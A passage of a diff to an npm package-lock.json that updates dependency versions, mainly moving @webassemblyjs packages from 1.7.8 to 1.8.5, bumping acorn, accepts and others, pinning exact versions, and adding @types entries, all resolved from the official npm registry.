"sha512-dOrtdtEyB8sInpl75yLPNksY4sRl0j/+t6aHyB/YA+ab9hV3Fo7FmG12FHzP+2MvWVAJtDb+6eXR5EZbZJ+uVg==", + "@types/events": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/@types/events/-/events-3.0.0.tgz", + "integrity": "sha512-EaObqwIvayI5a8dCzhFrjKzVwKLxjoG9T6Ppd5CEo07LRKfQ8Yokw54r5+Wq7FaBQ+yXRvQAYPrHwya1/UFt9g==", + "dev": true + }, + "@types/glob": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/@types/glob/-/glob-7.1.1.tgz", + "integrity": "sha512-1Bh06cbWJUHMC97acuD6UMG29nMt0Aqz1vF3guLfG+kHHJhy3AyohZFFxYk2f7Q1SQIrNwvncxAE0N/9s70F2w==", "dev": true, "requires": { - "@webassemblyjs/helper-module-context": "1.7.8", - "@webassemblyjs/helper-wasm-bytecode": "1.7.8", - "@webassemblyjs/wast-parser": "1.7.8" + "@types/events": "3.0.0", + "@types/minimatch": "3.0.3", + "@types/node": "12.12.9" + } + }, + "@types/hammerjs": { + "version": "2.0.36", + "resolved": "https://registry.npmjs.org/@types/hammerjs/-/hammerjs-2.0.36.tgz", + "integrity": "sha512-7TUK/k2/QGpEAv/BCwSHlYu3NXZhQ9ZwBYpzr9tjlPIL2C5BeGhH3DmVavRx3ZNyELX5TLC91JTz/cen6AAtIQ==" + }, + "@types/minimatch": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/@types/minimatch/-/minimatch-3.0.3.tgz", + "integrity": "sha512-tHq6qdbT9U1IRSGf14CL0pUlULksvY9OZ+5eEgl1N7t+OA3tGvNpxJCzuKQlsNgCVwbAs670L1vcVQi8j9HjnA==", + "dev": true + }, + "@types/node": { + "version": "12.12.9", + "resolved": "https://registry.npmjs.org/@types/node/-/node-12.12.9.tgz", + "integrity": "sha512-kV3w4KeLsRBW+O2rKhktBwENNJuqAUQHS3kf4ia2wIaF/MN6U7ANgTsx7tGremcA0Pk3Yh0Hl0iKiLPuBdIgmw==", + "dev": true + }, + "@types/parse-json": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/@types/parse-json/-/parse-json-4.0.0.tgz", + "integrity": "sha512-//oorEZjL6sbPcKUaCdIGlIUeH26mgzimjBB77G6XRgnDl/L5wOnpyBGRe/Mmf5CVW3PwEBE1NjiMZ/ssFh4wA==" + }, + "@webassemblyjs/ast": { + "version": "1.8.5", + "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.8.5.tgz", + "integrity": "sha512-aJMfngIZ65+t71C3y2nBBg5FFG0Okt9m0XEgWZ7Ywgn1oMAT8cNwx00Uv1cQyHtidq0Xn94R4TAywO+LCQ+ZAQ==", + "dev": true, + "requires": { + "@webassemblyjs/helper-module-context": "1.8.5", + "@webassemblyjs/helper-wasm-bytecode": "1.8.5", + "@webassemblyjs/wast-parser": "1.8.5" } }, "@webassemblyjs/floating-point-hex-parser": { - "version": "1.7.8", - "resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.7.8.tgz", - "integrity": "sha512-kn2zNKGsbql5i56VAgRYkpG+VazqHhQQZQycT2uXAazrAEDs23gy+Odkh5VblybjnwX2/BITkDtNmSO76hdIvQ==", + "version": "1.8.5", + "resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.8.5.tgz", + "integrity": "sha512-9p+79WHru1oqBh9ewP9zW95E3XAo+90oth7S5Re3eQnECGq59ly1Ri5tsIipKGpiStHsUYmY3zMLqtk3gTcOtQ==", "dev": true }, "@webassemblyjs/helper-api-error": { - "version": "1.7.8", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.7.8.tgz", - "integrity": "sha512-xUwxDXsd1dUKArJEP5wWM5zxgCSwZApSOJyP1XO7M8rNUChUDblcLQ4FpzTpWG2YeylMwMl1MlP5Ztryiz1x4g==", + "version": "1.8.5", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.8.5.tgz", + "integrity": "sha512-Za/tnzsvnqdaSPOUXHyKJ2XI7PDX64kWtURyGiJJZKVEdFOsdKUCPTNEVFZq3zJ2R0G5wc2PZ5gvdTRFgm81zA==", "dev": true }, "@webassemblyjs/helper-buffer": { - "version": "1.7.8", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.7.8.tgz", - "integrity": "sha512-WXiIMnuvuwlhWvVOm8xEXU9DnHaa3AgAU0ZPfvY8vO1cSsmYb2WbGbHnMLgs43vXnA7XAob9b56zuZaMkxpCBg==", + "version": "1.8.5", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.8.5.tgz", + "integrity": "sha512-Ri2R8nOS0U6G49Q86goFIPNgjyl6+oE1abW1pS84BuhP1Qcr5JqMwRFT3Ah3ADDDYGEgGs1iyb1DGX+kAi/c/Q==", "dev": true }, "@webassemblyjs/helper-code-frame": { - "version": "1.7.8", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-code-frame/-/helper-code-frame-1.7.8.tgz", - "integrity": "sha512-TLQxyD9qGOIdX5LPQOPo0Ernd88U5rHkFb8WAjeMIeA0sPjCHeVPaGqUGGIXjUcblUkjuDAc07bruCcNHUrHDA==", + "version": "1.8.5", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-code-frame/-/helper-code-frame-1.8.5.tgz", + "integrity": "sha512-VQAadSubZIhNpH46IR3yWO4kZZjMxN1opDrzePLdVKAZ+DFjkGD/rf4v1jap744uPVU6yjL/smZbRIIJTOUnKQ==", "dev": true, "requires": { - "@webassemblyjs/wast-printer": "1.7.8" + "@webassemblyjs/wast-printer": "1.8.5" } }, "@webassemblyjs/helper-fsm": { - "version": "1.7.8", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-fsm/-/helper-fsm-1.7.8.tgz", - "integrity": "sha512-TjK0CnD8hAPkV5mbSp5aWl6SO1+H3WFcjWtixWoy8EMA99YnNzYhpc/WSYWhf7yrhpzkq5tZB0tvLK3Svr3IXA==", + "version": "1.8.5", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-fsm/-/helper-fsm-1.8.5.tgz", + "integrity": "sha512-kRuX/saORcg8se/ft6Q2UbRpZwP4y7YrWsLXPbbmtepKr22i8Z4O3V5QE9DbZK908dh5Xya4Un57SDIKwB9eow==", "dev": true }, "@webassemblyjs/helper-module-context": { - "version": "1.7.8", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-module-context/-/helper-module-context-1.7.8.tgz", - "integrity": "sha512-uCutAKR7Nm0VsFixcvnB4HhAyHouNbj0Dx1p7eRjFjXGGZ+N7ftTaG1ZbWCasAEbtwGj54LP8+lkBZdTCPmLGg==", - "dev": true + "version": "1.8.5", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-module-context/-/helper-module-context-1.8.5.tgz", + "integrity": "sha512-/O1B236mN7UNEU4t9X7Pj38i4VoU8CcMHyy3l2cV/kIF4U5KoHXDVqcDuOs1ltkac90IM4vZdHc52t1x8Yfs3g==", + "dev": true, + "requires": { + "@webassemblyjs/ast": "1.8.5", + "mamacro": "0.0.3" + } }, "@webassemblyjs/helper-wasm-bytecode": { - "version": "1.7.8", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.7.8.tgz", - "integrity": "sha512-AdCCE3BMW6V34WYaKUmPgVHa88t2Z14P4/0LjLwuGkI0X6pf7nzp0CehzVVk51cKm2ymVXjl9dCG+gR1yhITIQ==", + "version": "1.8.5", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.8.5.tgz", + "integrity": "sha512-Cu4YMYG3Ddl72CbmpjU/wbP6SACcOPVbHN1dI4VJNJVgFwaKf1ppeFJrwydOG3NDHxVGuCfPlLZNyEdIYlQ6QQ==", "dev": true }, "@webassemblyjs/helper-wasm-section": { - "version": "1.7.8", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.7.8.tgz", - "integrity": "sha512-BkBhYQuzyl4hgTGOKo87Vdw6f9nj8HhI7WYpI0MCC5qFa5ahrAPOGgyETVdnRbv+Rjukl9MxxfDmVcVC435lDg==", + "version": "1.8.5", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.8.5.tgz", + "integrity": "sha512-VV083zwR+VTrIWWtgIUpqfvVdK4ff38loRmrdDBgBT8ADXYsEZ5mPQ4Nde90N3UYatHdYoDIFb7oHzMncI02tA==", "dev": true, "requires": { - "@webassemblyjs/ast": "1.7.8", - "@webassemblyjs/helper-buffer": "1.7.8", - "@webassemblyjs/helper-wasm-bytecode": "1.7.8", - "@webassemblyjs/wasm-gen": "1.7.8" + "@webassemblyjs/ast": "1.8.5", + "@webassemblyjs/helper-buffer": "1.8.5", + "@webassemblyjs/helper-wasm-bytecode": "1.8.5", + "@webassemblyjs/wasm-gen": "1.8.5" } }, "@webassemblyjs/ieee754": { - "version": "1.7.8", - "resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.7.8.tgz", - "integrity": "sha512-tOarWChdG1a3y1yqCX0JMDKzrat5tQe4pV6K/TX19BcXsBLYxFQOL1DEDa5KG9syeyvCrvZ+i1+Mv1ExngvktQ==", + "version": "1.8.5", + "resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.8.5.tgz", + "integrity": "sha512-aaCvQYrvKbY/n6wKHb/ylAJr27GglahUO89CcGXMItrOBqRarUMxWLJgxm9PJNuKULwN5n1csT9bYoMeZOGF3g==", "dev": true, "requires": { - "@xtuc/ieee754": "^1.2.0" + "@xtuc/ieee754": "1.2.0" } }, "@webassemblyjs/leb128": { - "version": "1.7.8", - "resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.7.8.tgz", - "integrity": "sha512-GCYeGPgUFWJiZuP4NICbcyUQNxNLJIf476Ei+K+jVuuebtLpfvwkvYT6iTUE7oZYehhkor4Zz2g7SJ/iZaPudQ==", + "version": "1.8.5", + "resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.8.5.tgz", + "integrity": "sha512-plYUuUwleLIziknvlP8VpTgO4kqNaH57Y3JnNa6DLpu/sGcP6hbVdfdX5aHAV716pQBKrfuU26BJK29qY37J7A==", "dev": true, "requires": { - "@xtuc/long": "4.2.1" + "@xtuc/long": "4.2.2" } }, "@webassemblyjs/utf8": { - "version": "1.7.8", - "resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.7.8.tgz", - "integrity": "sha512-9X+f0VV+xNXW2ujfIRSXBJENGE6Qh7bNVKqu3yDjTFB3ar3nsThsGBBKdTG58aXOm2iUH6v28VIf88ymPXODHA==", + "version": "1.8.5", + "resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.8.5.tgz", + "integrity": "sha512-U7zgftmQriw37tfD934UNInokz6yTmn29inT2cAetAsaU9YeVCveWEwhKL1Mg4yS7q//NGdzy79nlXh3bT8Kjw==", "dev": true }, "@webassemblyjs/wasm-edit": { - "version": "1.7.8", - "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.7.8.tgz", - "integrity": "sha512-6D3Hm2gFixrfyx9XjSON4ml1FZTugqpkIz5Awvrou8fnpyprVzcm4X8pyGRtA2Piixjl3DqmX/HB1xdWyE097A==", + "version": "1.8.5", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.8.5.tgz", + "integrity": "sha512-A41EMy8MWw5yvqj7MQzkDjU29K7UJq1VrX2vWLzfpRHt3ISftOXqrtojn7nlPsZ9Ijhp5NwuODuycSvfAO/26Q==", "dev": true, "requires": { - "@webassemblyjs/ast": "1.7.8", - "@webassemblyjs/helper-buffer": "1.7.8", - "@webassemblyjs/helper-wasm-bytecode": "1.7.8", - "@webassemblyjs/helper-wasm-section": "1.7.8", - "@webassemblyjs/wasm-gen": "1.7.8", - "@webassemblyjs/wasm-opt": "1.7.8", - "@webassemblyjs/wasm-parser": "1.7.8", - "@webassemblyjs/wast-printer": "1.7.8" + "@webassemblyjs/ast": "1.8.5", + "@webassemblyjs/helper-buffer": "1.8.5", + "@webassemblyjs/helper-wasm-bytecode": "1.8.5", + "@webassemblyjs/helper-wasm-section": "1.8.5", + "@webassemblyjs/wasm-gen": "1.8.5", + "@webassemblyjs/wasm-opt": "1.8.5", + "@webassemblyjs/wasm-parser": "1.8.5", + "@webassemblyjs/wast-printer": "1.8.5" } }, "@webassemblyjs/wasm-gen": { - "version": "1.7.8", - "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.7.8.tgz", - "integrity": "sha512-a7O/wE6eBeVKKUYgpMK7NOHmMADD85rSXLe3CqrWRDwWff5y3cSVbzpN6Qv3z6C4hdkpq9qyij1Ga1kemOZGvQ==", + "version": "1.8.5", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.8.5.tgz", + "integrity": "sha512-BCZBT0LURC0CXDzj5FXSc2FPTsxwp3nWcqXQdOZE4U7h7i8FqtFK5Egia6f9raQLpEKT1VL7zr4r3+QX6zArWg==", "dev": true, "requires": { - "@webassemblyjs/ast": "1.7.8", - "@webassemblyjs/helper-wasm-bytecode": "1.7.8", - "@webassemblyjs/ieee754": "1.7.8", - "@webassemblyjs/leb128": "1.7.8", - "@webassemblyjs/utf8": "1.7.8" + "@webassemblyjs/ast": "1.8.5", + "@webassemblyjs/helper-wasm-bytecode": "1.8.5", + "@webassemblyjs/ieee754": "1.8.5", + "@webassemblyjs/leb128": "1.8.5", + "@webassemblyjs/utf8": "1.8.5" } }, "@webassemblyjs/wasm-opt": { - "version": "1.7.8", - "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.7.8.tgz", - "integrity": "sha512-3lbQ0PT81NHCdi1sR/7+SNpZadM4qYcTSr62nFFAA7e5lFwJr14M1Gi+A/Y3PgcDWOHYjsaNGPpPU0H03N6Blg==", + "version": "1.8.5", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.8.5.tgz", + "integrity": "sha512-HKo2mO/Uh9A6ojzu7cjslGaHaUU14LdLbGEKqTR7PBKwT6LdPtLLh9fPY33rmr5wcOMrsWDbbdCHq4hQUdd37Q==", "dev": true, "requires": { - "@webassemblyjs/ast": "1.7.8", - "@webassemblyjs/helper-buffer": "1.7.8", - "@webassemblyjs/wasm-gen": "1.7.8", - "@webassemblyjs/wasm-parser": "1.7.8" + "@webassemblyjs/ast": "1.8.5", + "@webassemblyjs/helper-buffer": "1.8.5", + "@webassemblyjs/wasm-gen": "1.8.5", + "@webassemblyjs/wasm-parser": "1.8.5" } }, "@webassemblyjs/wasm-parser": { - "version": "1.7.8", - "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.7.8.tgz", - "integrity": "sha512-rZ/zlhp9DHR/05zh1MbAjT2t624sjrPP/OkJCjXqzm7ynH+nIdNcn9Ixc+qzPMFXhIrk0rBoQ3to6sEIvHh9jQ==", + "version": "1.8.5", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.8.5.tgz", + "integrity": "sha512-pi0SYE9T6tfcMkthwcgCpL0cM9nRYr6/6fjgDtL6q/ZqKHdMWvxitRi5JcZ7RI4SNJJYnYNaWy5UUrHQy998lw==", "dev": true, "requires": { - "@webassemblyjs/ast": "1.7.8", - "@webassemblyjs/helper-api-error": "1.7.8", - "@webassemblyjs/helper-wasm-bytecode": "1.7.8", - "@webassemblyjs/ieee754": "1.7.8", - "@webassemblyjs/leb128": "1.7.8", - "@webassemblyjs/utf8": "1.7.8" + "@webassemblyjs/ast": "1.8.5", + "@webassemblyjs/helper-api-error": "1.8.5", + "@webassemblyjs/helper-wasm-bytecode": "1.8.5", + "@webassemblyjs/ieee754": "1.8.5", + "@webassemblyjs/leb128": "1.8.5", + "@webassemblyjs/utf8": "1.8.5" } }, "@webassemblyjs/wast-parser": { - "version": "1.7.8", - "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-parser/-/wast-parser-1.7.8.tgz", - "integrity": "sha512-Q/zrvtUvzWuSiJMcSp90fi6gp2nraiHXjTV2VgAluVdVapM4gy1MQn7akja2p6eSBDQpKJPJ6P4TxRkghRS5dg==", + "version": "1.8.5", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-parser/-/wast-parser-1.8.5.tgz", + "integrity": "sha512-daXC1FyKWHF1i11obK086QRlsMsY4+tIOKgBqI1lxAnkp9xe9YMcgOxm9kLe+ttjs5aWV2KKE1TWJCN57/Btsg==", "dev": true, "requires": { - "@webassemblyjs/ast": "1.7.8", - "@webassemblyjs/floating-point-hex-parser": "1.7.8", - "@webassemblyjs/helper-api-error": "1.7.8", - "@webassemblyjs/helper-code-frame": "1.7.8", - "@webassemblyjs/helper-fsm": "1.7.8", - "@xtuc/long": "4.2.1" + "@webassemblyjs/ast": "1.8.5", + "@webassemblyjs/floating-point-hex-parser": "1.8.5", + "@webassemblyjs/helper-api-error": "1.8.5", + "@webassemblyjs/helper-code-frame": "1.8.5", + "@webassemblyjs/helper-fsm": "1.8.5", + "@xtuc/long": "4.2.2" } }, "@webassemblyjs/wast-printer": { - "version": "1.7.8", - "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.7.8.tgz", - "integrity": "sha512-GllIthRtwTxRDAURRNXscu7Napzmdf1jt1gpiZiK/QN4fH0lSGs3OTmvdfsMNP7tqI4B3ZtfaaWRlNIQug6Xyg==", + "version": "1.8.5", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.8.5.tgz", + "integrity": "sha512-w0U0pD4EhlnvRyeJzBqaVSJAo9w/ce7/WPogeXLzGkO6hzhr4GnQIZ4W4uUt5b9ooAaXPtnXlj0gzsXEOUNYMg==", "dev": true, "requires": { - "@webassemblyjs/ast": "1.7.8", - "@webassemblyjs/wast-parser": "1.7.8", - "@xtuc/long": "4.2.1" + "@webassemblyjs/ast": "1.8.5", + "@webassemblyjs/wast-parser": "1.8.5", + "@xtuc/long": "4.2.2" } }, "@xtuc/ieee754": { @@ -520,9 +619,9 @@ "dev": true }, "@xtuc/long": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/@xtuc/long/-/long-4.2.1.tgz", - "integrity": "sha512-FZdkNBDqBRHKQ2MEbSC17xnPFOhZxeJ2YGSfr2BKf3sujG49Qe3bB+rGCwQfIaA7WHnGeGkSijX4FuBCdrzW/g==", + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/@xtuc/long/-/long-4.2.2.tgz", + "integrity": "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ==", "dev": true }, "abbrev": { @@ -531,55 +630,43 @@ "integrity": "sha1-kbR5JYinc4wl813W9jdSovh3YTU=" }, "accepts": { - "version": "1.3.5", - "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.5.tgz", - "integrity": "sha1-63d99gEXI6OxTopywIBcjoZ0a9I=", + "version": "1.3.7", + "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.7.tgz", + "integrity": "sha512-Il80Qs2WjYlJIBNzNkK6KYqlVMTbZLXgHx2oT0pU/fjRHyEp+PEfEPY0R3WCwAGVOtauxh1hOxNgIf5bv7dQpA==", "dev": true, "requires": { - "mime-types": "~2.1.18", - "negotiator": "0.6.1" + "mime-types": "2.1.24", + "negotiator": "0.6.2" }, "dependencies": { "mime-db": { - "version": "1.35.0", - "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.35.0.tgz", - "integrity": "sha512-JWT/IcCTsB0Io3AhWUMjRqucrHSPsSf2xKLaRldJVULioggvkJvggZ3VXNNSRkCddE6D+BUI4HEIZIA2OjwIvg==", + "version": "1.40.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.40.0.tgz", + "integrity": "sha512-jYdeOMPy9vnxEqFRRo6ZvTZ8d9oPb+k18PKoYNYUe2stVEBPPwsln/qWzdbmaIvnhZ9v2P+CuecK+fpUfsV2mA==", "dev": true }, "mime-types": { - "version": "2.1.19", - "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.19.tgz", - "integrity": "sha512-P1tKYHVSZ6uFo26mtnve4HQFE3koh1UWVkp8YUC+ESBHe945xWSoXuHHiGarDqcEZ+whpCDnlNw5LON0kLo+sw==", + "version": "2.1.24", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.24.tgz", + "integrity": "sha512-WaFHS3MCl5fapm3oLxU4eYDw77IQM2ACcxQ9RIxfaC3ooc6PFuBMGZZsYpvoXS5D5QTWPieo1jjLdAm3TBP3cQ==", "dev": true, "requires": { - "mime-db": "~1.35.0" + "mime-db": "1.40.0" } } } }, "acorn": { - "version": "5.7.3", - "resolved": "https://registry.npmjs.org/acorn/-/acorn-5.7.3.tgz", - "integrity": "sha512-T/zvzYRfbVojPWahDsE5evJdHb3oJoQfFbsrKM7w5Zcs++Tr257tia3BmMP8XYVjp1S9RZXQMh7gao96BlqZOw==", + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-6.3.0.tgz", + "integrity": "sha512-/czfa8BwS88b9gWQVhc8eknunSA2DoJpJyTQkhheIf5E48u1N0R4q/YxxsAeqRrmK9TQ/uYfgLDfZo91UlANIA==", "dev": true }, - "acorn-dynamic-import": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/acorn-dynamic-import/-/acorn-dynamic-import-3.0.0.tgz", - "integrity": "sha512-zVWV8Z8lislJoOKKqdNMOB+s6+XV5WERty8MnKBeFgwA+19XJjJHs2RP5dzM57FftIs+jQnRToLiWazKr6sSWg==", - "dev": true, - "requires": { - "acorn": "^5.0.0" - } - }, "acorn-jsx": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-4.1.1.tgz", - "integrity": "sha512-JY+iV6r+cO21KtntVvFkD+iqjtdpRUpGqKWgfkCdZq1R+kbreEl8EcdcJR4SmiIgsIQT33s6QzheQ9a275Q8xw==", - "dev": true, - "requires": { - "acorn": "^5.0.3" - } + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.0.2.tgz", + "integrity": "sha512-tiNTrP1MP0QrChmD2DdupCr6HWSFeKVw5d/dHTu4Y7rkAkRhU/Dt7dphAfIUyxtHpl/eBVip5uTNSpQJHylpAw==", + "dev": true }, "after": { "version": "0.8.2", @@ -593,10 +680,10 @@ "integrity": "sha512-hOs7GfvI6tUI1LfZddH82ky6mOMyTuY0mk7kE2pWpmhhUSkumzaTO5vbVwij39MdwPQWCV4Zv57Eo06NtL/GVA==", "dev": true, "requires": { - "fast-deep-equal": "^2.0.1", - "fast-json-stable-stringify": "^2.0.0", - "json-schema-traverse": "^0.4.1", - "uri-js": "^4.2.1" + "fast-deep-equal": "2.0.1", + "fast-json-stable-stringify": "2.0.0", + "json-schema-traverse": "0.4.1", + "uri-js": "4.2.2" }, "dependencies": { "fast-deep-equal": { @@ -631,9 +718,9 @@ "integrity": "sha1-DNkKVhCT810KmSVsIrcGlDP60Rc=", "dev": true, "requires": { - "kind-of": "^3.0.2", - "longest": "^1.0.1", - "repeat-string": "^1.5.2" + "kind-of": "3.2.2", + "longest": "1.0.1", + "repeat-string": "1.6.1" } }, "amdefine": { @@ -642,15 +729,15 @@ "integrity": "sha1-SlKCrBZHKek2Gbz9OtFR+BfOkfU=" }, "ansi-colors": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/ansi-colors/-/ansi-colors-3.1.0.tgz", - "integrity": "sha512-hTv1qPdi+sVEk3jYsdjox5nQI0C9HTbjKShbCdYLKb1LOfNbb7wsF4d7OEKIZoxIHx02tSp3m94jcPW2EfMjmA==", + "version": "3.2.4", + "resolved": "https://registry.npmjs.org/ansi-colors/-/ansi-colors-3.2.4.tgz", + "integrity": "sha512-hHUXGagefjN2iRrID63xckIvotOXOojhQKWIPUZ4mNUZ9nLZW+7FMNoE1lOkEhNWYsx/7ysGIuJYCiMAA9FnrA==", "dev": true }, "ansi-escapes": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-3.1.0.tgz", - "integrity": "sha512-UgAb8H9D41AQnu/PbWlCofQVcnV4Gs2bBJi9eZPxfU/hgglFh3SMDMENRIqdr7H6XFnXdoknctFByVsCOotTVw==", + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-3.2.0.tgz", + "integrity": "sha512-cBhpre4ma+U0T1oM5fXg7Dy1Jw7zzwv7lt/GoCpr+hDQJoYnKVPLL4dCvSEFMmQurOQvSrwT7SL/DAlhBI97RQ==", "dev": true }, "ansi-html": { @@ -676,8 +763,8 @@ "dev": true, "optional": true, "requires": { - "micromatch": "^2.1.5", - "normalize-path": "^2.0.0" + "micromatch": "2.3.11", + "normalize-path": "2.1.1" } }, "aproba": { @@ -690,8 +777,8 @@ "resolved": "https://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-1.1.5.tgz", "integrity": "sha512-5hYdAkZlcG8tOLujVDTgCT+uPX0VnpAH28gWsLfzpXYm7wP6mp5Q/gYyR7YQ0cKVJcXJnl3j2kpBan13PtQf6w==", "requires": { - "delegates": "^1.0.0", - "readable-stream": "^2.0.6" + "delegates": "1.0.0", + "readable-stream": "2.3.6" }, "dependencies": { "isarray": { @@ -700,22 +787,22 @@ "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=" }, "process-nextick-args": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz", - "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==" + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==" }, "readable-stream": { "version": "2.3.6", "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "2.0.1", + "safe-buffer": "5.1.1", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" } }, "string_decoder": { @@ -723,7 +810,7 @@ "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", "requires": { - "safe-buffer": "~5.1.0" + "safe-buffer": "5.1.1" } } } @@ -732,8 +819,9 @@ "version": "1.0.9", "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.9.tgz", "integrity": "sha1-c9g7wmP4bpf4zE9rrhsOkKfSLIY=", + "dev": true, "requires": { - "sprintf-js": "~1.0.2" + "sprintf-js": "1.0.3" } }, "arr-diff": { @@ -743,7 +831,7 @@ "dev": true, "optional": true, "requires": { - "arr-flatten": "^1.0.1" + "arr-flatten": "1.1.0" } }, "arr-flatten": { @@ -764,9 +852,9 @@ "integrity": "sha1-3wEKoSh+Fku9pvlyOwqWoexBh6E=" }, "array-flatten": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-2.1.1.tgz", - "integrity": "sha1-Qmu52oQJDBg42BLIFQryCoMx4pY=", + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-2.1.2.tgz", + "integrity": "sha512-hNfzcOV8W4NdualtqBFPyVO+54DSJuZGY9qT4pRroB6S9e3iiido2ISIC5h9R2sPJ8H3FHCIiEnsv1lPXO3KtQ==", "dev": true }, "array-includes": { @@ -775,8 +863,8 @@ "integrity": "sha1-GEtI9i2S10UrsxsyMWXH+L0CJm0=", "dev": true, "requires": { - "define-properties": "^1.1.2", - "es-abstract": "^1.7.0" + "define-properties": "1.1.3", + "es-abstract": "1.12.0" } }, "array-slice": { @@ -791,7 +879,7 @@ "integrity": "sha1-mjRBDk9OPaI96jdb5b5w8kd47Dk=", "dev": true, "requires": { - "array-uniq": "^1.0.1" + "array-uniq": "1.0.3" } }, "array-uniq": { @@ -812,12 +900,6 @@ "integrity": "sha512-wGUIVQXuehL5TCqQun8OW81jGzAWycqzFF8lFp+GOM5BXLYj3bKNsYC4daB7n6XjCqxQA/qgTJ+8ANR3acjrog==", "dev": true }, - "arrify": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/arrify/-/arrify-1.0.1.tgz", - "integrity": 